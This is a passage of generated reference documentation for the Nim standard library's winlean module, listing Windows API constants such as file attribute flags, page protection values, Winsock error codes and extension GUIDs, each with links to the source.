[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L561) ``` SO_ERROR: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L562) ``` TCP_NODELAY: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L563) ``` WSAID_CONNECTEX: GUID = GUID(D1: 0x25A207B9, D2: 0xDDF3'i16, D3: 0x00004660, D4: [ 0x8E'i8, 0xE9'i8, 0x76'i8, 0xE5'i8, 0x8C'i8, 0x74'i8, 0x06'i8, 0x3E'i8]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L872) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L872) ``` WSAID_ACCEPTEX: GUID = GUID(D1: 0xB5367DF1'i32, D2: 0xCBAC'i16, D3: 0x000011CF, D4: [ 0x95'i8, 0xCA'i8, 0x00'i8, 0x80'i8, 0x5F'i8, 0x48'i8, 0xA1'i8, 0x92'i8]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L874) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L874) ``` WSAID_GETACCEPTEXSOCKADDRS: GUID = GUID(D1: 0xB5367DF2'i32, D2: 0xCBAC'i16, D3: 0x000011CF, D4: [0x95'i8, 0xCA'i8, 0x00'i8, 0x80'i8, 0x5F'i8, 0x48'i8, 0xA1'i8, 0x92'i8]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L876) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L876) Consts ------ ``` useWinUnicode = true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L21) ``` STARTF_USESHOWWINDOW = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L106) ``` STARTF_USESTDHANDLES = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L107) ``` HIGH_PRIORITY_CLASS = 128'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L108) ``` IDLE_PRIORITY_CLASS = 64'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L109) ``` NORMAL_PRIORITY_CLASS = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L110) ``` REALTIME_PRIORITY_CLASS = 256'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L111) ``` WAIT_OBJECT_0 = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L112) ``` WAIT_TIMEOUT = 0x00000102'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L113) ``` WAIT_FAILED = 0xFFFFFFFF'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L114) ``` INFINITE = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L115) ``` STILL_ACTIVE = 0x00000103'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L116) ``` STD_INPUT_HANDLE = -10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L118) ``` STD_OUTPUT_HANDLE = -11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L119) ``` STD_ERROR_HANDLE = -12'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L120) ``` DETACHED_PROCESS = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L122) ``` SW_SHOWNORMAL = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L124) ``` INVALID_HANDLE_VALUE = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L125) ``` CREATE_UNICODE_ENVIRONMENT = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L127) ``` PIPE_ACCESS_DUPLEX = 0x00000003'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L129) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L129) ``` PIPE_ACCESS_INBOUND = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L130) ``` PIPE_ACCESS_OUTBOUND = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L131) ``` PIPE_NOWAIT = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L132) ``` SYNCHRONIZE = 0x00100000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L133) ``` CREATE_NO_WINDOW = 0x08000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L135) ``` HANDLE_FLAG_INHERIT = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L137) ``` FILE_ATTRIBUTE_READONLY = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L287) ``` FILE_ATTRIBUTE_HIDDEN = 0x00000002'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L288) ``` FILE_ATTRIBUTE_SYSTEM = 0x00000004'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L289) ``` FILE_ATTRIBUTE_DIRECTORY = 0x00000010'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L290) ``` FILE_ATTRIBUTE_ARCHIVE = 0x00000020'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L291) ``` FILE_ATTRIBUTE_DEVICE = 0x00000040'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L292) ``` FILE_ATTRIBUTE_NORMAL = 0x00000080'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L293) ``` FILE_ATTRIBUTE_TEMPORARY = 0x00000100'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L294) ``` FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L295) ``` FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L296) ``` FILE_ATTRIBUTE_COMPRESSED = 0x00000800'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L297) ``` FILE_ATTRIBUTE_OFFLINE = 0x00001000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L298) ``` FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L299) ``` FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L301) ``` FILE_FLAG_OPEN_NO_RECALL = 0x00100000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L302) ``` FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L303) ``` FILE_FLAG_POSIX_SEMANTICS = 0x01000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L304) ``` FILE_FLAG_BACKUP_SEMANTICS = 0x02000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L305) ``` FILE_FLAG_DELETE_ON_CLOSE = 0x04000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L306) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L306) ``` FILE_FLAG_SEQUENTIAL_SCAN = 0x08000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L307) ``` FILE_FLAG_RANDOM_ACCESS = 0x10000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L308) ``` FILE_FLAG_NO_BUFFERING = 0x20000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L309) ``` FILE_FLAG_OVERLAPPED = 0x40000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L310) ``` FILE_FLAG_WRITE_THROUGH = 0x80000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L311) ``` MAX_PATH = 260 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L313) ``` MOVEFILE_COPY_ALLOWED = 0x00000002'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L315) ``` MOVEFILE_CREATE_HARDLINK = 0x00000010'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L316) ``` MOVEFILE_DELAY_UNTIL_REBOOT = 0x00000004'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L317) ``` MOVEFILE_FAIL_IF_NOT_TRACKABLE = 0x00000020'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L318) ``` MOVEFILE_REPLACE_EXISTING = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L319) ``` MOVEFILE_WRITE_THROUGH = 0x00000008'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L320) ``` WSADESCRIPTION_LEN = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L443) ``` WSASYS_STATUS_LEN = 128 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L444) ``` FD_SETSIZE = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L445) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L445) ``` MSG_PEEK = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L446) ``` INADDR_ANY = 0'u32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L448) ``` INADDR_LOOPBACK = 0x7F000001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L449) ``` INADDR_BROADCAST = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L450) ``` INADDR_NONE = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L451) ``` MAXIMUM_WAIT_OBJECTS = 0x00000040 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L670) ``` GENERIC_READ = 0x80000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L684) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L684) ``` GENERIC_WRITE = 0x40000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L685) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L685) ``` GENERIC_ALL = 0x10000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L686) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L686) ``` FILE_SHARE_READ = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L687) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L687) ``` FILE_SHARE_DELETE = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L688) ``` FILE_SHARE_WRITE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L689) ``` CREATE_ALWAYS = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L691) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L691) ``` CREATE_NEW = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L692) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L692) ``` OPEN_EXISTING = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L693) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L693) ``` OPEN_ALWAYS = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L694) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L694) ``` FILE_BEGIN = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L695) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L695) ``` INVALID_SET_FILE_POINTER = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L696) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L696) ``` NO_ERROR = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L697) ``` PAGE_NOACCESS = 0x00000001'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L698) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L698) ``` PAGE_EXECUTE = 0x00000010'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L699) ``` PAGE_EXECUTE_READ = 0x00000020'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L700) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L700) ``` PAGE_EXECUTE_READWRITE = 0x00000040'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L701) ``` PAGE_READONLY = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L702) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L702) ``` PAGE_READWRITE = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L703) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L703) ``` FILE_MAP_READ = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L704) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L704) ``` FILE_MAP_WRITE = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L705) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L705) ``` INVALID_FILE_SIZE = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L706) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L706) ``` DUPLICATE_SAME_ACCESS = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L708) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L708) ``` FILE_READ_DATA = 0x00000001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L709) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L709) ``` FILE_WRITE_DATA = 0x00000002 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L710) ``` ERROR_FILE_NOT_FOUND = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L714) ``` ERROR_PATH_NOT_FOUND = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L715) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L715) ``` ERROR_ACCESS_DENIED = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L716) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L716) ``` ERROR_NO_MORE_FILES = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L717) ``` ERROR_LOCK_VIOLATION = 33 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L718) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L718) ``` ERROR_HANDLE_EOF = 38 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L719) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L719) ``` ERROR_BAD_ARGUMENTS = 165 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L720) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L720) ``` ERROR_IO_PENDING = 997 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L818) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L818) ``` WSAECONNABORTED = 10053 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L819) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L819) ``` WSAEADDRINUSE = 10048 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L820) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L820) ``` WSAECONNRESET = 10054 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L821) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L821) ``` WSAEDISCON = 10101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L822) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L822) ``` WSAENETRESET = 10052 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L823) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L823) ``` WSAETIMEDOUT = 10060 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L824) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L824) ``` WSANOTINITIALISED = 10093 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L825) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L825) ``` WSAENOTSOCK = 10038 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L826) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L826) ``` WSAEINPROGRESS = 10036 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L827) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L827) ``` WSAEINTR = 10004 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L828) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L828) ``` WSAEWOULDBLOCK = 10035 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L829) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L829) ``` WSAESHUTDOWN = 10058 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L830) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L830) ``` ERROR_NETNAME_DELETED = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L831) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L831) ``` STATUS_PENDING = 0x00000103 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L832) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L832) ``` IOC_OUT = 0x40000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L856) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L856) ``` IOC_IN = 0x80000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L857) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L857) ``` IOC_WS2 = 0x08000000'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L858) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L858) ``` IOC_INOUT = -1073741824'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L859) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L859) ``` SIO_GET_EXTENSION_FUNCTION_POINTER = -939524090'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L864) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L864) ``` SO_UPDATE_ACCEPT_CONTEXT = 0x0000700B ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L865) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L865) ``` AI_V4MAPPED = 0x00000008 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L866) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/windows/winlean.nim#L866) ``` AF_UNSPEC = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/windows/winlean.nim#L867) 